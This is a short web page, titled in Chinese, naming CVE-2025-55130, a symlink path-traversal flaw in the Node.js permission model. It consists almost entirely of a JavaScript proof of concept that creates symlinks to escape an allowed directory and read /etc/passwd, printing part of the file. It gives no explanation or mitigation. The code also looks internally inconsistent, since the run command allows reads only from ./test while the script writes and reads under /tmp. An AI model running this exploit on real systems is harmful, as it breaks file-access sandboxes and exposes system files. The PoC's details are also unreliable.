CVE-2025-55130 Node.js权限模型符号链接路径遍历漏洞

// CVE-2025-55130 PoC - Node.js Permissions Bypass via Symlink // Run with: node --allow-fs-read=./test poc.js const fs = require('fs'); const path = require('path'); // Create directory structure for exploitation const testDir = '/tmp/cve-2025-55130-test'; const targetFile = '/etc/passwd'; try { // Clean up any existing test directory fs.rmSync(testDir, { recursive: true, force: true }); } catch (e) {} // Create test directory structure fs.mkdirSync(testDir, { recursive: true }); fs.mkdirSync(path.join(testDir, 'subdir'), { recursive: true }); // Create symlink chain to escape allowed directory // Link: testDir/link -> /etc fs.symlinkSync('/etc', path.join(testDir, 'link')); // Create nested symlink for deeper traversal // Link: testDir/subdir/escape -> ../../ fs.symlinkSync('../../', path.join(testDir, 'subdir', 'escape')); console.log('[+] Test environment created'); console.log('[+] Symlink chain: testDir/link -> /etc'); console.log('[+] Attempting to read sensitive file through symlink bypass...'); // Attempt to read /etc/passwd through the symlink // With --allow-fs-read=./test, this should be blocked // But due to CVE-2025-55130, the path traversal via symlink bypasses check try { const bypassPath = path.join(testDir, 'link', 'passwd'); console.log(`[+] Accessing path: ${bypassPath}`); const content = fs.readFileSync(bypassPath, 'utf8'); console.log('[!] VULNERABLE: Successfully read restricted file!'); console.log('[+] File content preview:'); console.log(content.split('\n').slice(0, 5).join('\n')); } catch (err) { console.log('[+] Blocked (patched version or different configuration)'); console.log(`[-] Error: ${err.message}`); } // Alternative attack: using nested symlink traversal try { const nestedPath = path.join(testDir, 'subdir', 'escape', 'etc', 'passwd'); console.log(`\n[+] Alternative bypass path: ${nestedPath}`); const content2 = fs.readFileSync(nestedPath, 'utf8'); console.log('[!] VULNERABLE: Nested symlink bypass successful!'); } catch (err) { console.log('[-] Nested bypass blocked'); } console.log('\n[!] This PoC demonstrates the symlink path traversal in Node.js permissions model'); console.log('[!] Attack chain: allowed_dir -> symlink -> arbitrary_file');